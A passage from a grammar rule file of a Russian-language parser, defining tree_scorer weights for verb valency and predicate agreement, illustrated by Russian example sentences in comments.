if context { глагол:пахнуть{ вид:несоверш }.предлог:от{} }
then 2
}
// Дождь должен смыть всю пыль с листьев.
// ^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:смыть{}.предлог:с{}.*:*{ падеж:род} } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:смывать{}.предлог:с{}.*:*{ падеж:род} } then 2 }
// он смел крошки со стола
// ^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:смести{}.предлог:с{}.*:*{ падеж:род} } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:сметать{}.предлог:с{}.*:*{ падеж:род} } then 2 }
// Мальчики съехали на санках с горы.
// ^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:съехать{}.предлог:с{}.*:*{ падеж:род } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:съезжать{}.предлог:с{}.*:*{ падеж:род } } then 2 }
// Дети бросались в воду с моста
// ^^^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:броситься{}.предлог:с{}.*:*{ падеж:род } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:бросаться{}.предлог:с{}.*:*{ падеж:род } } then 2 }
// отнестись к животным с сочуствием
// ^^^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:отнестись{}.предлог:с{}.*:*{ падеж:твор } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:относиться{}.предлог:с{}.*:*{ падеж:твор } } then 2 }
// Элис разинула от удивления рот.
// ^^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:разинуть{}.НеодушОбъект{ падеж:вин } } then 2 }
// --------------------------------------
// ВЛЮБЛЯТЬСЯ В КОГО-ТО
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбляться{}.предлог:в{}.*:*{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбляться{}.предлог:в{}.существительное:*{ одуш:одуш падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбляться{}.предлог:в{}.существительное:*{ падеж:вин <в_класс>существительное:имя{} } } then 3 }
// --------------------------------------
// ВЛЮБИТЬСЯ В КОГО-ТО
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбиться{}.предлог:в{}.*:*{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбиться{}.предлог:в{}.существительное:*{ одуш:одуш падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:влюбиться{}.предлог:в{}.существительное:*{ падеж:вин <в_класс>существительное:имя{} } } then 3 }
// --------------------------------------
// ВТЮРИТЬСЯ В КОГО-ТО
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:втюриться{}.предлог:в{}.*:*{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:втюриться{}.предлог:в{}.существительное:*{ одуш:одуш падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:втюриться{}.предлог:в{}.существительное:*{ падеж:вин <в_класс>существительное:имя{} } } then 3 }
// ------------------------------------------------
// **** Глаголы перемещения с топонимами ****
tree_scorers ЛюбойТопонимНеизв
// для неизвестных топонимов
tree_scorer ЛюбойТопонимНеизв language=Russian
{
if context { существительное:???{ charcasing:FirstCapitalized } }
then 1
}
tree_scorer ЛюбойТопонимНеизв language=Russian
{
if context { существительное:*{ <в_класс>существительное:страна{} } }
then 1
}
tree_scorer ЛюбойТопонимНеизв language=Russian
{
if context { существительное:*{ <в_класс>существительное:город{} } }
then 1
}
// +++++
// для слов типа ТАКСИ
tree_scorers ЛюбойТранспорт
tree_scorer ЛюбойТранспорт language=Russian
{
if context { существительное:*{ <в_класс>существительное:транспорт{} } }
then 1
}
// +++++
tree_scorers ЛюбойЧеловек
tree_scorer ЛюбойЧеловек language=Russian
{
if context { существительное:*{ <в_класс>существительное:профессия{} } }
then 1
}
tree_scorer ЛюбойЧеловек language=Russian
{
if context { существительное:*{ <в_класс>существительное:имя{} } }
then 1
}
// +++++
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:улететь{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:улететь{}.предлог:в{}.ЛюбойТранспорт{ падеж:предл } } then 2 }
// ++++
// он уехал в Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:уехать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// он уехал в такси
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:уехать{}.предлог:в{}.ЛюбойТранспорт{ падеж:предл } } then 2 }
// ++++
// Мы эмигрировали в США
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:эмигрировать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// Виктор перебрался в Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:перебраться{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// Мафиози сбежали из Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:сбежать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// Они едут в Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:ехать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// мы ехали в такси
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:ехать{}.предлог:в{}.ЛюбойТранспорт{ падеж:предл } } then 2 }
// ++++
// туристы поехали в Киото
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поехать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поехать{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:предл } } then -10 }
// группа туристов поехала в такси
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поехать{}.предлог:в{}.ЛюбойТранспорт{ падеж:предл } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поехать{}.предлог:в{}.ЛюбойТранспорт{ падеж:вин } } then -10 }
// ++++
// Люси отправилась в Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:отправиться{}.предлог:в{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// Мы посетили Киото
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:посетить{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// путешественники посещали Киото
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:посещать{}.ЛюбойТопонимНеизв{ падеж:вин } } then 2 }
// ++++
// Мы спросили Людмилу Ивановну
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спросить{}.ЛюбойЧеловек{ падеж:вин } } then 2 }
// Дети спросили совет у учителя
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спросить{}.предлог:у{}.ЛюбойЧеловек{ падеж:род } } then 2 }
// ++++
// Дети спрашивают медсестру
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спрашивать{}.ЛюбойЧеловек{ падеж:вин } } then 2 }
// Дети спрашивают совет у учителя
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спрашивать{}.предлог:у{}.ЛюбойЧеловек{ падеж:род } } then 2 }
// ++++
// мы поинтересовались ответом у учительницы
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:поинтересоваться{}.предлог:у{}.ЛюбойЧеловек{ падеж:род } } then 2 }
// ++++
// Вдалеке мы увидели Токио
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:увидеть{}.*:*{ падеж:вин } } then 1 }
// ++++
// Справа вы видите Киото
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:видеть{}.*:*{ падеж:вин } } then 1 }
// ++++
//
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:построить{}.НеодушОбъект{ падеж:вин } } then 1 }
// ++++
//
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:строить{}.НеодушОбъект{ падеж:вин } } then 1 }
// ++++
//
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:создать{}.НеодушОбъект{ падеж:вин } } then 1 }
// ++++
//
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:создавать{}.НеодушОбъект{ падеж:вин } } then 1 }
// ++++
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:обмениваться{}.*:*{ падеж:твор } } then 1 }
// ++++
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:обменяться{}.*:*{ падеж:твор } } then 1 }
// +++++
// Элис разинула от удивления рот.
// ^^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:разинуть{}.НеодушОбъект{ падеж:вин } } then 1 }
// ++++++
// Я покажу тебе, как надо мной смеяться!
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смеяться{}.местоимение:*{ падеж:твор } }
then -5
}
// ++++++++++
// плыть ей пришлось долго.
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:пришлось{}.{
<SUBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:плыть{}.местоимение:*{ падеж:твор } }
then -5
}
// ++++++++++
// все остальное тебе тоже удалось устроить?
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:удалось{}.{
<SUBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// +++++++++++++++
// Это событие является одним из элементов широко задуманной акции.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:являться{}.'одним'{ падеж:твор }.'из' }
then 2
}
// +++++++++++++++
// вот кого мне нужно было искать!
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:нужно{}.{
<SUBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// +++++++++++++++++
// им надо видеть движение.
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:надо{}.{
<SUBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 2
}
// +++++++++++++++++
// но прежде нам необходимо найти тело
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:необходимо{2}.{
<SUBJECT>*:*{ падеж:дат 1 }
инфинитив:*{3}
}
}
then 4
}
// +++++++++++++++++
// мимо тебя пройти невозможно
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:пройти{}.{
наречие:мимо{}
<OBJECT>*:*{ падеж:вин }
}
}
then -10
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:пройти{}.{
наречие:мимо{}
<OBJECT>*:*{ падеж:род }
}
}
then -10
}
// +++++++++++++++++
// Сегодня я буду читать дома
// ^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:читать{}.{
<OBJECT>существительное:*{ <в_класс> СУЩЕСТВИТЕЛЬНОЕ:СТРОЕНИЕ{} }
}
}
then -10
}
// +++++++++++++++++
// Она ослепила его своей красотой.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:ослепить{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:твор }
}
}
then 2
}
// +++++++++++++++++++
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:слышать{}.<OBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then 2
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:слышать{}.<SUBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:услышать{}.<OBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then 2
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:услышать{}.<SUBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:расслышать{}.<OBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then 2
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:расслышать{}.<SUBJECT>существительное:*{ <в_класс>существительное:звук{} } }
then -5
}
// +++++++++++++++++++++++++
/*
// пища помогла мне окончательно прогнать сон
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:помочь{}.{
<SUBJECT>*:*{}
<OBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 5
}
*/
// +++++++++++++++++
// Немного повысим достоверность императива в случае,
// когда предложение оканчивается восклицательным знаком:
// держите ее за ноги!
tree_scorer language=Russian
{
if context { глагол:*{ наклонение:побуд }.'!' }
then 1
}
// - А яичницу любите?
tree_scorer language=Russian
{
if context { глагол:*{ наклонение:побуд }.'?' }
then -4
}
// +++++++++++++++++
// Страх охватил Грегори
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:охватить{}.{
<SUBJECT>существительное:*{ одуш:неодуш <в_класс>существительное:эмоция{} }
<OBJECT>*:*{ падеж:вин }
}
}
then 5
}
// ++++++++++++++++++
// какие тут могут быть секреты?
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:мочь{}.{
инфинитив:*{}
<OBJECT>*:*{ падеж:вин }
}
}
then -100
}
// +++++++++++++++++
// В Ульяновской области детей обстреляли из пневматики
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обстрелять{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// +++++++++++++++++
// теперь вы все знаете
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.<OBJECT>'все'{ падеж:вин } }
then 2
}
// +++++++++++++++++
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:предложить{}.{ <OBJECT>*:*{ падеж:дат } инфинитив:*{} } }
then 6
}
// +++++++++++++++++
// Мы велели ей убраться из комнаты
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:велеть{}.{ <OBJECT>*:*{ падеж:дат } инфинитив:*{} } }
then 6
}
// +++++++++++++++++
// Обычно глагол БЫТЬ не присоединяет прямое дополнение в винительном падеже:
// Это будет аварийный запас.
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.<OBJECT>*:*{ падеж:вин } }
then -5
}
// в этом кафе будут они
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{}.{
<SUBJECT>местоимение:*{ падеж:им }
<RHEMA>*:*{ одуш:неодуш падеж:им }
}
}
then -3
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{}.{
<RHEMA>местоимение:*{ падеж:им }
<SUBJECT>существительное:*{ одуш:неодуш падеж:им }
}
}
then -3
}
// Компаратив наречия для БЫТЬ/БЫВАТЬ подавляем
// она была старше меня
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.<RHEMA>наречие:*{ степень:сравн } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:бывать{}.<RHEMA>наречие:*{ степень:сравн } }
then -5
}
// +++++++++++++++++
// Глаголы, синонимичные ЗАПЕРЕТЬ - подавляем вариант, когда подлежащим становится
// существительное из класса ЗДАНИЕ:
// запер сарай
// ^^^^^^^^^^^^
#define ЗаперетьЗдание(v) \
#begin
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:v{}.<SUBJECT>существительное:*{ <в_класс>существительное:здание{} } }
then -100
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:v{}.<SUBJECT>существительное:*{ <в_класс>существительное:здание{} } }
then -100
}
#end
ЗаперетьЗдание(запереть)
ЗаперетьЗдание(запирать)
ЗаперетьЗдание(закрыть)
ЗаперетьЗдание(закрывать)
ЗаперетьЗдание(открыть)
ЗаперетьЗдание(открывать)
// +++++++++++++++++
// она несла на плечах своего мужа.
// ^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:нести{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then 1
}
// +++++++++++++++++++++
// И была опасность, что когда-нибудь откажет дыхательный аппарат.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отказать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then -2
}
// ++++++++++++++++++++++
// Ты знаешь, что на следующий день должен был приехать мой муж.
// ^^^ ^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:должный{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
инфинитив:*{}
}
}
then -100
}
// Двое гонцов из Мурманска должны были прибыть ночным поездом.
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:должный{}.{
<OBJECT>*:*{ ПАДЕЖ:РОД }
инфинитив:*{}
}
}
then -100
}
// ++++++++++++++++++++++
// чувашскими законотворцами был взят проект Федерального закона
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { прилагательное:*{ КРАТКИЙ СТРАД ПРИЧАСТИЕ }.<OBJECT>*:*{ падеж:род } }
then -5
}
// ++++++++++++++++++++++
// ружье его было тут
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.'его'{ class:прилагательное } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.'ее'{ class:прилагательное } }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.'их'{ class:прилагательное } }
then -5
}
// +++++++++++++++++++++++++++
// его отучают пить из-под крана
tree_scorer language=Russian
{
if context { инфинитив:*{}.
<LEFT_AUX_VERB>глагол:отучать{}.
ОдушОбъект{ ПАДЕж:ВИН } }
then 2
}
// +++++++++++++++++++++++++++++++
// Смелость города берёт
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:брать{}.<OBJECT>существительное:*{ падеж:вин } }
then 1
}
// --------------------------------
// это открытие его удивило
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:удивить{}.<OBJECT>ОдушОбъект{ падеж:вин } }
then 2
}
// ++++++++++++++++++++++++++++++++++++++++++++
// Ветерок был приятным
// ^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:быть{}.{
thema=<SUBJECT>*:*{}
rhema=<RHEMA>прилагательное:*{}
}
}
then adj_noun_score(rhema,thema)
}
// Выбор фруктов слаб
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { a=прилагательное:*{ КРАТКИЙ}.n=<SUBJECT>СУЩЕСТВИТЕЛЬНОЕ:*{}
}
then adj_noun_score(a,n)
}
// Воздух становился всё холоднее
// ^^^^^^ ^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:становиться{}.{
thema=<SUBJECT>*:*{}
rhema=прилагательное:*{}
}
}
then adj_noun_score(rhema,thema)
}
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:стать{}.{
thema=<SUBJECT>*:*{}
rhema=прилагательное:*{}
}
}
then adj_noun_score(rhema,thema)
}
// -----------------------------------
#define VerbInstr(v,w) \
#begin
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:v{}.<OBJECT>существительное:*{ падеж:твор } }
then w
}
#end
VerbInstr(ограничиться,2)
VerbInstr(интересоваться,2)
VerbInstr(заинтересоваться,2)
VerbInstr(поинтересоваться,2)
VerbInstr(пренебрегать,2)
VerbInstr(пренебречь,2)
VerbInstr(увенчаться,2)
// ----------------------------------
// Все звали ее Верочкой...
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:звать{}.{
<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН }
<OBJECT>существительное:*{ ПАДЕЖ:ТВОР }
}
}
then 2
}
// ----------------------------------
/*
wordentry_set ПредлогНаправления = предлог:{ на, в, под, через }
// дракону на спину сел
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ ~ПАДЕЖ:ДАТ }.{
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
<PREPOS_ADJUNCT>ПредлогНаправления.*:*{ ПАДЕЖ:ВИН }
}
}
then 8
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{ ~ПАДЕЖ:ДАТ }.{
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
<PREPOS_ADJUNCT>ПредлогНаправления.*:*{ ПАДЕЖ:ВИН }
}
}
then 8
}
*/
// -----------------------------------
// Официант денег не взял.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:взять{}.{
частица:не{}
<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД }
}
}
then 2
}
// ----------------------------------
// эти последние энергично пошли им навстречу.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пойти{}.послелог:навстречу{}.*:*{ падеж:дат } }
then 5
}
// Он сделал шаг ей навстречу.
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сделать{}.{ <OBJECT>НеодушОбъект{ ПАДЕЖ:ВИН } послелог:навстречу{}.*:*{ падеж:дат } } }
then 5
}
// ---------------------------------
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:объявить{}.{
<OBJECT>*:*{ падеж:вин }
предлог:о{}
}
}
then -100
}
// ----------------------------------
// именно поэтому она собиралась предложить им очень простой выбор.
// ^^^^^^^^^^ ^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:предложить{}.{
<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:вин }
}
}
then 5
}
// -----------------------------------------------
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:править{}.<OBJECT>существительное:*{ <в_класс>существительное:страна{} ПАДЕЖ:ТВОР } }
then 5
}
// ----------------------------------
// мы уже начали за вас волноваться.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:волноваться{}.предлог:за{}.*:*{ падеж:вин } }
then 5
}
// ----------------------------------
// ей следовало бы проверить зрение.
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:следует{}.{ *:*{ падеж:дат } инфинитив:*{} } }
then 2
}
// ----------------------------------
// как легко превратить в кляксу живого человека
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:превратить{}.{ <OBJECT>*:*{ падеж:вин } предлог:в{}.*:*{ падеж:вин } } }
then 2
}
// ----------------------------------
// мне надо было встать
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.{
БезличСвязка0
безлич_глагол:*{ ~ТИП_ПРЕДИКАТИВ:БЫЛО_СВЯЗКА }
}
}
then -5
}
// ----------------------------------
// Уточняем согласование подлежащего и
// атрибута для связочных глаголов:
//
wordentry_set СвязочныеГлаголы=
{
rus_verbs:стать{},
rus_verbs:становиться{},
rus_verbs:быть{},
rus_verbs:бывать{},
rus_verbs:оказаться{},
rus_verbs:оказываться{},
rus_verbs:получиться{},
rus_verbs:получаться{}
}
// Он может стать главным
// ^^ ^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { СвязочныеГлаголы.{
sbj=<SUBJECT>*:*{ ЧИСЛО:ЕД }
прилагательное:*{ ПАДЕЖ:ТВОР ЧИСЛО:ЕД ~КРАТКИЙ !=sbj:РОД }
} }
then -2
}
// Ты можешь стать главным
// ^^ ^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { СвязочныеГлаголы.{
sbj=<SUBJECT>местоимение:я{ ЧИСЛО:ЕД ~лицо:3 }
прилагательное:*{ ПАДЕЖ:ТВОР ЧИСЛО:ЕД ~КРАТКИЙ РОД:СР }
} }
then -2
}
// ----------------------------------
#define НеГлагРодЕд(v,n,w) \
#begin
tree_scorer ВалентностьГлагола language=Russian
{
if context {
rus_verbs:v{}.{
частица:не{}
<OBJECT>существительное:n{ падеж:род число:ед }
}
} then w
}
#end
// Америка не имеет права вмешиваться во внутренние дела России
// ^^^^^^^^^^^^^^
НеГлагРодЕд(иметь,право,2)
// Ни один прокурор такого разрешения не даст.
НеГлагРодЕд(дать,разрешение,8)
// ----------------------------------
// Надежде приходилось, чтобы успеть вставить свои ответы между его репликами, произносить слова со скоростью пулеметной очереди.
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:приходится{}.инфинитив:*{ вид:несоверш } }
then 2
}
// ----------------------------------
// Мы внедрили в его организацию соглядатая
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:внедрить{}.существительное:*{ падеж:вин } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:внедрять{}.существительное:*{ падеж:вин } }
then 1
}
// ----------------------------------
// Основание качнулось, зажатое манипуляторами.
// ^^^^^^^^^ ^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:*{}.{
n3=<SUBJECT>*:*{}
<SEPARATE_ATTR>*:*{ ПАДЕЖ:ИМ =n3:РОД =n3:ЧИСЛО }
} }
then 2
}
// День выдался ненастный.
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { *:*{}.{ sbj=<SUBJECT>существительное:*{} attr=<SEPARATE_ATTR>прилагательное:*{ ПАДЕЖ:ИМ =sbj:РОД =sbj:ЧИСЛО } } }
then adj_noun_score(attr,sbj)
}
// Такое было удовольствие!
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:быть{}.{
n3=<SUBJECT>*:*{}
attr=<SEPARATE_ATTR>*:*{ ПАДЕЖ:ИМ =n3:РОД =n3:ЧИСЛО }
} }
then adj_noun_score(attr,n3)
}
// Ответы я давал самые несуразные.
// ^^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { глагол:*{}.{
n3=<OBJECT>*:*{}
<SEPARATE_ATTR>*:*{ =n3:ПАДЕЖ =n3:РОД =n3:ЧИСЛО }
} }
then 2
}
// ------------------------------------------------------------------
// Некоторые модальные редко употребляются без инфинитива:
// Разве можно в такую погоду как следует настроиться на мысль о преступлении?
// ^^^^^
wordentry_set МодальныеТребуютИнф=
{
безлич_глагол:можно{},
безлич_глагол:хочется{},
безлич_глагол:захотелось{},
глагол:мочь{},
глагол:смочь{}
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.<LEFT_AUX_VERB>МодальныеТребуютИнф }
then 7
}
// -------------------------------------------
// а им уже приходилось умирать вместе
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.{ <SUBJECT>местоимение:*{ падеж:дат } безлич_глагол:*{ МОДАЛЬНЫЙ } } }
then 1
}
// Ей вдруг захотелось закричать от разочарования.
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.{ <OBJECT>"ей"{ падеж:твор } безлич_глагол:*{ МОДАЛЬНЫЙ } } }
then -2
}
// Ей было приятно думать об этом.
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.{ <OBJECT>"ей"{ падеж:твор } } }
then -1
}
// ------------------------------------------------------
// им давно пора уходить.
wordentry_set БезличнМодальн=безлич_глагол:{ пора, надо, нужно }
tree_scorer ВалентностьПредиката language=Russian generic
{
if context { инфинитив:*{}.{ *:*{ падеж:дат } БезличнМодальн } }
then 1
}
// -------------------------------------------------------
// у нас мало времени!
tree_scorer ВалентностьПредиката language=Russian
{
if context { СчетнСвязка.{ предлог:у{} существительное:время{ падеж:род } } }
then 10
}
// ----------------------------------------------
// ЕСЛИ не сочетается с императивом:
// - Не объясняйте, если не хотите.
// ^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ наклонение:побуд }.'если' }
then -10
}
// --------------------------------------------
// Частица НЕТ не всегда выполняет роль предикатива, иногда
// она выступает в роли вводной частицы, аналогично ДА:
// - Нет, вы не понимаете.
// ^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { частица:нет{}.[not]<OBJECT>*:*{} }
then -2
}
// ---------------------------------------------
// Позади никого не было.
// ^^^^^^^^^^^^^^
// Пыли не было
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{ наклонение:изъяв число:ед род:ср время:прошедшее }.{ частица:не{} <OBJECT>*:*{ ПАДЕЖ:РОД } } }
then 4
}
// Радости не было предела
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{ наклонение:изъяв число:ед род:ср время:прошедшее }.
{
частица:не{}
<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ }
<OBJECT>'предела'{ ПАДЕЖ:РОД }
}
}
then 6
}
// ---------------------------------------------
wordentry_set ОтрицМестоим = местоим_сущ:{ никто, ничто }
// Местоимение НИЧТО и НИКТО в косвенных падежах обычно прикрепляются
// только к глаголу с частией НЕ:
//
// Стояла ничем не нарушаемая тишина.
// ~~~~~~ ^^^^^ ^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
